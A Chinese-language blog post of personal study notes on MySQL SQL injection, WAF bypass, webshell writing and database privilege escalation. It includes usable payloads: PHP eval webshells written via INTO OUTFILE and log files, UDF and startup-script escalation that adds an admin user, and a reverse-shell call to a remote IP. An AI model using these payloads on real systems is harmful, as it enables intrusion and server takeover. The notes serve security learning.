很久之前就想总结一篇SQL注入及其更深一层的渗透方面的笔记了,奈何一是下不了决心,二是(好吧,还是下不了决心)

今天无意之间翻找出自己之前学习做的笔记,决定重新整理、学习、分享,若其中有什么错误,还希望您们能够及时提出来。(本文主要以MySQL,后期还要学习MSSQL、Oracle)

 

一问?何为SQL注入

所谓SQL注入,就是用户在Web表单等能与数据库交互的地方构造特殊的SQL命令,欺骗服务器执行,泄露数据库的信息,甚至getshell。

 

二问?种类如何划分

(1)以注入点分类

数字型注入
字符型注入
搜索型注入
宽字节注入
Base64变形注入

(2)以提交方式分类

GET注入
POST注入
Cookie注入
XFF注入
User_Agent注入

(3)以执行效果分类

联合注入
报错注入
时间盲注
布尔盲注
堆注入

由于篇幅问题(主要是懒╰(‵□′)╯)在这里,就不详细介绍每一种注入的详情了,可直接针对某一种百度,会出现很多优秀的讲解和实战文章的。

 

三问?涵盖哪些常用函数

(1)字符串截取函数

mid(string,start[,length])
left(string,length)
substr(string,start,length)
substring(string,start,length)

(2)字符串编码转换函数

ascii()
ord()
hex()
unhex()

(3)字符串连接函数

concat(str1,str2,str3,…):将多个字符串连接成一个字符串(中间任何一个参数为null,返回值就会为null)
concat_ws(separater,str1,str2,..):和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符
group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

(4)报错注入函数

floor()
extractvalue()
updatexml()
exp()
polygon()
multipoint()
GeometryCollection()
multilinestring()
multipolygon()
linestring()
报错注入函数常用的有前面5种。

(5)盲注函数

if(a,b,c):条件a为真,则b被执行,否则c被执行
sleep():休眠时间
benchmark():benchmark(count,expr)函数的执行结果就是将expr表达式执行count次数。
注:对于盲注,还需结合前面介绍的函数(尤其是字符串截取函数)。此外,盲注的手工量比较大,可以结合burpsuite使用。

 

四问?怎么花式绕墙

(1)手工绕过

(1.1) 绕过空格
注释符/**/、括号、加号、%20、%09、%0a、%0b、%0c、%0d、%a0、%00
(1.2)绕过引号
使用十六进制
(1.3)绕过逗号
(使用from、offest、join)
例如,对于limit绕过可以使用offset来绕过:
select * from users limit 0,1
等价于下面这条SQL语句
select * from users limit 1 offset 0
又比如:
select substr(database() from 1 for 1)
(1.4)绕过=
使用like、rlike、regexp或者使用>、<
(1.5)绕过“>”、”<”
使用greatest()、least()、between()
(贴一下在别人那儿学到的一个技巧,如下图)

(1.6)绕过union、select、where

(2)sqlmap工具

sqlmap参数tamper自带了一些常见的绕过脚本:

上述只是举了一小部分脚本,读者在使用sqlmap工具的时候可以尝试使用这些脚本绕过WAF设备。

 

五问?MySQL注入写shell的条件

(1)利用union select写入

into outfile=into dumpfile
?id=1 union select 1,"<?php @eval($_POST['ls']);?>",3 into outfile 'F:/7788/evil.php'
?id=1 union select 1,0x223C3F70687020406576616C28245F504F53545B276C73275D293B3F3E22,3 into outfile "F:/7788/evil.php"

具体权限要求:
✦secure_file_priv支持web目录文件导出
✦数据库用户file权限
✦获取物理途径

secure_file_priv 特性:
secure_file_priv参数是用来限制load data,select…outfile,and load_file()传到哪个指定目录的。
✔secure_file_priv的值为null时,表示限制mysql不允许导入或导出。
✔secure_file_priv的值为某一路径时,表示限制mysql的导入或导出只能发生在该路径下
✔secure_file_priv的值没有具体值时,表示不对mysql的导入或导出做限制

如何在MySQL查看secure_file_priv参数的值:
show global variables like '%secure%'

在mysql 5.6.34版本以后secure_file_priv的值默认为NULL。
并且无法用sql语句对其进行修改,只能够通过修改windows下相应的配置文件my.ini,可执行以下语句查看MySQL的安装目录:
show global variables like '%datadir%'

加入:
secure_file_priv=''

重启MySQL服务:

这样修改后,就可以在任意目录进行数据导入导出了。也代表着能在有权限的任意文件夹下读写文件
数据库有用户file权限:
select * from mysql.user where user='test'

满足了三个条件:
secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径

查看相应目录,生成成功。

在实际环境中,写到web目录,再使用工具(菜刀、冰蝎、Godzilla)连接木马。
如果实际环境是linux,则需要修改添加至my.cnf配置文件:

如果没有满足条件(secure_file_priv是默认值),导出文件自然不会成功:

但是该方式仅适用于联合注入。

(2)利用分隔符写入

当MySQL注入点为盲注或报错时,sqlmap的—os-shell命令可写入的前提条件是:
secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径
执行以下语句:
select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A;

(3)利用log写入

但是现在新版本的MySQL设置了导出文件的路径,我们基本上也没有权限去修改配置文件,更无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
同样的具体权限要求:
数据库用户需具备super和file服务器权限、获取物理路径
查看日志是否开启:
show global variables like '%general%'

一般这个日志记录是默认关闭的,需要我们手动开启。

set global general_log = on;

修改日志路径(该路径需要设置到web目录下以便可访问):
set global general_log_file='F:\\7788\\shell.php'

相应目录下创建一个shell.php文件,如下:

写入shell:
select '<?php @eval($_[tools]);?>'

(4)慢日志记录

同样的具体权限要求:
数据库用户需具备super和file服务器权限、获取物理路径

slow_query_log:慢日志功能开关
slow_query_log_file:慢日志存放文件位置,自己设置
开启慢日志:

更改路径:

向日志文件写入shell:
select '<?php phpinfo();?>' or sleep(10)

慢日志查询:当查询语句执行的时间超过系统默认的时间时,该语句才会被记入进慢查询日志。
时间默认超过多少的称为慢查询日志?
show global variables like '%query_time%'

如果查询时间大于等于了上述时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。
如果是9秒,就不会被记录:

 

六问?常见提权手段

MySQL和MsSQL提权方式不一样,本文先主要研究MySQL。
提权的前置条件是拿到一个高权限的数据库管理员账号。

(1)UDF提权

UDF即User defined function,用户自定义函数的一个MySQL拓展接口。在获得root权限将文件udf.dll导出到系统目录下,可以通过udf.dll创建执行系统命令的函数来调用执行cmd。(这里用到了“导出”,那么就需要参数secure-file-priv为空)

该udf.dll导出的路径因MySQL版本不同而不同:
1)如果MySQL<5.1,udf.dll动态链接文件需要导出的路径为:
Windows2003:c:\windows\system32
Windows2000:c:\winnt\system32。
2)如果MySQL>=5.1,必须要把udf.dll动态链接文件导出到MySQL的安装目录:
….\MySQL\lib\plugin

然而,上面显示的默认路径对应的文件夹是不存在的,比如我的就不存在:

这就需要“手工”创建了。

当然这里的手工并不像在本地创建一个文件夹那么简单。企图使用NTFS流创建:
select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION';
select 'x' into dumpfile
 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/::$INDEX_ALLOCATION';
无奈“Permission denied”:

一般我们在前面获取到shell之后,可以另外上传某些特别的webshell(MySQL专用网页马)找到MySQL的安装目录,然后创建\lib\plugin。(总之,反正必须想方设法创建这个目录,有什么奇巧的可以交流交流)
假装挑战成功,”手工”创建了该路径(机智如我)

那么接下来要解决的是udf.dll怎么来?(我之前以为是自带的)
观摩优秀前辈们写的文章,主要是两种方式:
1)sqlmap
在sqlmap的/usr/share/sqlmap/data目录下,存在针对不同平台的udf:

值得注意的是,sqlmap这些动态链接文件是经过异或编码的,所以直接下载到MySQL的plugin目录下是不行的。因此,需要sqlmap解码后再进行下载。
切换到以下(Linux)目录:
/usr/share/sqlmap/extra/cloak
然后执行:
python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
就会生成一个dll文件,将该dll文件下载至MySQL的plugin目录下:

这是一种获取udf.dll文件的方式,下面介绍另一种方式。
2)metasploit
启动msf:

使用msf自带的mysql_udf_payload:

设置上面的PASSWORDRHOSTUSERNAMERPORT等基本信息,就可以exploit
补充一句:目标的3306能外联才能有效。否则,就会出现以下错误:

下载完dll文件,就可以自定义函数了。

不过,自定义函数并不是真的自定义,需要在它符合的函数范围里定义相应的函数(IDA可查看可导出的函数):

否则:

create function sys_eval returns string soname "lib_mysqludf_sys.dll"

select * from mysql.func

删除自定义函数:drop function sys_eval;
3)udf.shell
上面两种方法适合再目标及可以外联的情况,如果目标机在内网的情况,其实更多的是使用一些网页马,粗暴而又不失文雅!(php版本不一致可能导致马儿不起作用,可自行修改)
马儿地址下载:https://github.com/echohun/tools/blob/master/大马
1号马儿:

2号马儿:

(2)MOF提权

.mof文件扩展名代表管理对象格式(MOF)及其相关文件类型(.mof)。MOF文件主要用于(传统的)微软系统管理服务器(SMS)软件。在系统中心配置管理器中,自2007年起,微软SMS的后继者,不需要.mof文件,但仍然可以导入。

在Window中,C:\Windows\System32\wbem\MOF目录下的mof文件每隔几秒的时间就会被执行。在mof种嵌入vbs脚本,就可以这个脚本来执行系统命令。该提权操作也是有限制条件的,即MySQL有权限操作mof目录。
我再本地访问这个文件夹,Windows出于安全考虑就会提示是否使用管理员权限。

该提权的思路就是获取mof文件
(可以自己编写一个,也可以利用msf的一个提权模块:use exploit/windows/mysq1/mysq1_ mof),
利用MySQL写文件的特性可以写入C:\Windows\System32\wbem\MOF。(但是实际环境种操作起来,一般还是不会成功,毕竟前置条件还是挺苛刻的)

(3)启动项提权

Windows开机的时候,会有一些开机自启动的程序,此时的程序启动启用的是system权限。利用这一特性,可将我们的vbs脚本通过MySQL导出到启动项中。
在前面,获取到os-shell后,新建一个表,将vbs脚本一句一句存入表中,最后再导出:
show databases ;#展示当前有什么数据库
use test; #使用其中一个数据库,或者创建一个数据库
show tables; #显示该数据库下有什么表
create table a (cmd text); #创建一个新表,然后一句一句插入vbs脚本
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user ws/add"",0)") ;
添加新用户

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators ws /add"",0) " );
将新用户添加到管理员组

(vbs脚本可根据自己的需要进行修改替换)接下来就利用MySQL的导出写文件特性(secure_file_priv没有限制),导出vbs脚本到本地的启动路径中:
Windows10:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

尝试失败!估计用户名是中文,还有可能权限不够吧。
总之这是一条思路,提权的方式这种不行再试下一种。
如果能够写入成功,下一次系统用户重启电脑时,就可以得到高权限。

(4)反连端口提权

这种方式时udf提权的一种延伸吧。当使用udf提权时,如若系统函数被WAF过滤,udf自定义函数中有一个backshell,可进行端口转发,绕过。
创建该函数:
mysql > create function backshell returns strings soname 'udf.dll';
服务器端设置好监听,然后直接反弹 shell :
mysql > select backshell("10.20.xxx.xxx", 445);

至此,六问?你学会了吗?

参考链接:
https://www.sqlsec.com/2020/11/mysql.html#toc-heading-21
https://www.heibai.org/post/1028.html
https://zhuanlan.zhihu.com/p/144061985
https://www.cnblogs.com/c1e4r/articles/8902444.html
https://www.cnblogs.com/xiaozi/p/12767050.html